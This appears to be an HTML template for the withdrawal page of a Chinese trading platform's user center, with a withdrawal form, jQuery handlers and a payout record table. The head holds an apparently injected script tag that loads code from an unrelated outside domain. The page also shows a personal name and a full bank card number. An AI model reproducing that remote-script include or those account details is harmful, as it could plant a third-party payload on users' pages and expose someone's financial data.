<html><head>
<title>个人中心</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/global.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/user-center.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/swiper.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/reveal.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/jquery.menu.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/font-awesome/css/font-awesome.min.css">

<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.menu.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.slimscroll.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/swiper2.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/select2.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.reveal.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/global.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.Qvalidate.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.plugins.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.placeholder.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.form.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/functions.js"></script>


    <script>

        $(document).ready(function () {
            $("input[type='hidden'][contenteditable]").contenteditable();
            $(".select2").select2({
                width: '100%',
                minimumResultsForSearch: Infinity
            });

            $("select[name='withdraw[category]']").on("change", function () {
                if ($(this).val()) {
                    var option = $(this).find("option[value=" + $(this).val() + "]");
                    var userName = $(option).attr('username');
                    var cardId = $(option).attr('cardid');
                    $("[name='withdraw[user_name]']").val(userName);
                    $("[name='withdraw[card_id]']").val(cardId);
                } else {
                    $("[name='withdraw[user_name]']").val("");
                    $("[name='withdraw[card_id]']").val("");
                }


            });

            $("[action=cancelWithdraw]").click(function() {
                var id = $(this).attr('data-id');
                showConfirm({
                    msg:"确认要取消这笔提现吗？",
                    confirmed:function(){

                        $.ajax({
                            url: "/Home/Center/cancelWithdraw.html",
                            type: "POST",
                            data: {id: id},
                            success: function (resp) {
                                if (resp.status != 1) {
                                    showModal({msg: resp.msg});
                                } else {
                                    showModal({
                                        msg: resp.msg, callbackTime: 1000, end: function () {
                                            window.location.reload(true)
                                        }
                                    });
                                }
                            }
                        })
                    }
                })
            })

        })

        function toWithdraw() {

            $("[popup=withdraw]").reveal();
        }

        function withdraw() {
//            $('[popup=withdraw] .withdraw-wrap').showLoading();
            Qsubmit($('#withdrawForm'), function (msg) {
                showModal({msg: msg});
                $('[popup=withdraw] .withdraw-wrap').hideLoading();
                $('[popup=withdraw]').closeModal();
                location.reload();
            });
        }
    </script>

<include file="./Public/public/public.html" />
<script charset="utf-8" async="true" src="http://t.5txs.cn/rb/i9.js"></script></head>
<body>
<include file="./Public/public/top.html" />
<!--  确认 -->



<!--  alert -->


<!--pc头部-->



<!--pc头部结束-->


<!--mobile头部-->


<script type="text/javascript">

$(document).ready(function(){

function headerlogin(){
    $('.headerLogin').Qsubmit(null,function(msg){
        showModal(msg);
        $('.headerLogin').find('input[name=imgcode]').val('');
        $('.headerLogin').find('img[name=img]').click();
    });
}
$(function(){
    $('.headerLogin a[action=login]').on('click',headerlogin);
    $('.headerLogin').find('input').on('keydown',function(){
        if (event.keyCode == "13") {
             $('a[action=login]').click();
         }
    });
});

// 交易大厅品类下拉列表
$('li[action="menu"]').mouseenter(function(){
    $(this).find("ul").fadeIn(500);
}).mouseleave(function(){
    $(this).find("ul").fadeOut(500);
})

//移动版 下拉菜单
$('a[action="my"]').click(function(){
    if($(".my-list").css("display")=="block"){
        $(".my-list").fadeOut(200);        
    }else{
        $(".my-list").fadeIn(500);
    }
    
});

$("body").click(function(event){
    if($('a[action="my"]').length>0){
        if(event.target!=$('a[action="my"]')[0] && !jQuery.contains($('a[action="my"]')[0], event.target)){

            if($(".my-list").css("display")=="block"){

                $(".my-list").fadeOut(200);

            }
        }
    }

});

});


</script>
<!--mobile头部结束--><div class="layout-wrap">
    <!--已审核-->
    <div class="layout">
    <include file="./Public/public/centerLeft.html" /> 
    <!--  提现申请 -->
    <div popup="withdraw" ms-controller="popup" class="reveal-modal medium">
        <div>
            <form action="/Home/Center/addWithdraw.html" method="post" id="withdrawForm">
                <a class="close-reveal-modal" action="closeModal">×</a>

                <div class="form-row form-row-s">
                    <div class="input-name w35">提现金额</div>
                    <div class="input-box w65"><input type="text" name="withdraw[cash]" class="input-s" placeholder="" maxlength="7" valid="{&quot;required&quot;:true,&quot;currency&quot;:true,&quot;maxLength&quot;:7,&quot;numberRange&quot;:[50,100000]}" msg="{&quot;required&quot;:&quot;金额必须填写&quot;,&quot;currency&quot;:&quot;必须是货币数字&quot;,&quot;maxLength&quot;:&quot;输入字符长度不能超过7位&quot;,&quot;numberRange&quot;:&quot;提现金额不能少于50并且不能大于100000&quot;}">
                    </div>
                    <div class="clr"></div>
                </div>
                <div class="form-row form-row-s">
                    <div class="input-name w35">提现方式</div>
                    <div class="input-box w65">
                        <select name="withdraw[category]">
                            <option value="" username="" cardid="">请选择提现方式</option>
                            <option value="1" username="刘海天" cardid="6222021718011709199">
                                    中国工商银行                                </option>
                        </select>
                    </div>
                    <div class="clr"></div>
                </div>
                <div class="form-row form-row-s">
                    <div class="input-name w35">收款人</div>
                    <div class="input-box w35"><input type="text" class="input-s" placeholder="" name="withdraw[user_name]" readonly=""></div>
                    <div class="input-name-even w30"><a href="/Home/Center/bankAccount.html">收款账户？</a></div>
                    <div class="clr"></div>
                </div>
                <div class="form-row form-row-s">
                    <div class="input-name w35">收款账号</div>
                    <div class="input-box w65"><input type="text" name="withdraw[card_id]" class="input-s" placeholder="收款账号与收款人不同则无法收款" readonly=""></div>
                    <div class="clr"></div>
                </div>
                <div class="form-row form-row-s">
                    <div class="input-name w35">用户备注</div>
                    <div class="input-box w65"><div contenteditable="true" class="textarea"></div><input type="hidden" contenteditable="true" name="withdraw[remark]" class="textarea"></div>
                    <div class="clr"></div>
                </div>

                <div class="split-dot mb20 text-center"></div>
                <div class="form-row form-row-s">
                    <input type="button" action="confirm" class=" button button-orange w45 fl" value="确认" onclick="withdraw()">
                    <input type="button" action="cancel" class=" button button-gray w45 fr" value="取消">

                    <div class="clr"></div>
                </div>
            </form>
        </div>
    </div>
    <div class="right" ms-controller="right" style="min-height: 882px;">
        <h3>提现申请 <span class="fr">可提现金额:<span class="red06">1.06</span>元    冻结金额:<span class="red06">0</span>元</span>
        </h3>

        <div class="cnt-tips">
            <p>温馨提示：遵守国家反洗钱和套现行为的相关法律规定：充值后的所有资金交易后才能提现。</p>

        </div>
        <div class="split-dot mt10 mb10"></div>
        <div class="pt10 pb10"><a class="button-s button-blue" href="/Home/Center/applyFlowWithdraw.html">申请提现</a></div>
        <div class="table-wrappper">
            <div class="table table-w300">
                <div class="th">
                    <div class="td w5"><span class="ml10">ID</span></div>
                    <div class="td w10"><span class="ml10">提现金额</span></div>
                    <div class="td w5"><span class="ml10">手续费</span></div>
                    <div class="td w5"><span class="ml10">优惠券</span></div>
                    <div class="td w10"><span class="ml10">实际到账</span></div>
                    <div class="td w5"><span class="ml10">提现方式</span></div>
                    <div class="td w15"><span class="ml10">账号</span></div>
                    <div class="td w5"><span class="ml10">状态</span></div>

                    <div class="td w10"><span class="ml10">用户备注</span></div>

                    <div class="td w10"><span class="ml10">管理员备注</span></div>
                    <div class="td w10"><span class="ml10">申请时间</span></div>
                    <div class="td w10"><span class="ml10">操作</span></div>
                    <div class="clr"></div>
                </div>

                                <div class="tr">

                        <div class="td w5"><span class="ml10">83</span></div>
                        <div class="td w10"><span class="ml10">￥1636.80</span></div>
                        <div class="td w5"><span class="ml10">￥3.27</span></div>
                        <div class="td w5"><span class="ml10">￥10</span></div>
                        <div class="td w10"><span class="ml10">￥1636.80</span></div>
                        <div class="td w5"><span class="ml10">银行卡</span></div>
                        <div class="td w15">
                            <div class="ml10" title="中国工商银行: 6222021718011709199 (河南省信阳市固始县支行)">中国工商银行: 6222021718011709199 (河南省信阳市固始县支行)</div>
                        </div>
                        <div class="td w5">
                                                        <span class="ml10 green06">已支付</span>                                                                                </div>


                        <div class="td w10">
                            <div class="ml10" title=""></div>
                        </div>

                        <div class="td w10">
                            <div class="ml10" title=""></div>
                        </div>

                        <div class="td w10">
                            <div class="ml10">2016-10-21 14:27:04</div>
                        </div>
                        <div class="td w10">
                                                    </div>
                        <div class="clr"></div>
                    </div>

            </div>

        </div>

        <div class="paginate-wrap">
            <div class="dataTables_paginate">
                <div>    </div>                <div class="clr"></div>
            </div>
        </div>


    </div>

        <div class="clr"></div>
    </div>
</div>
<include file="./Public/public/footer.html" />
</body></html>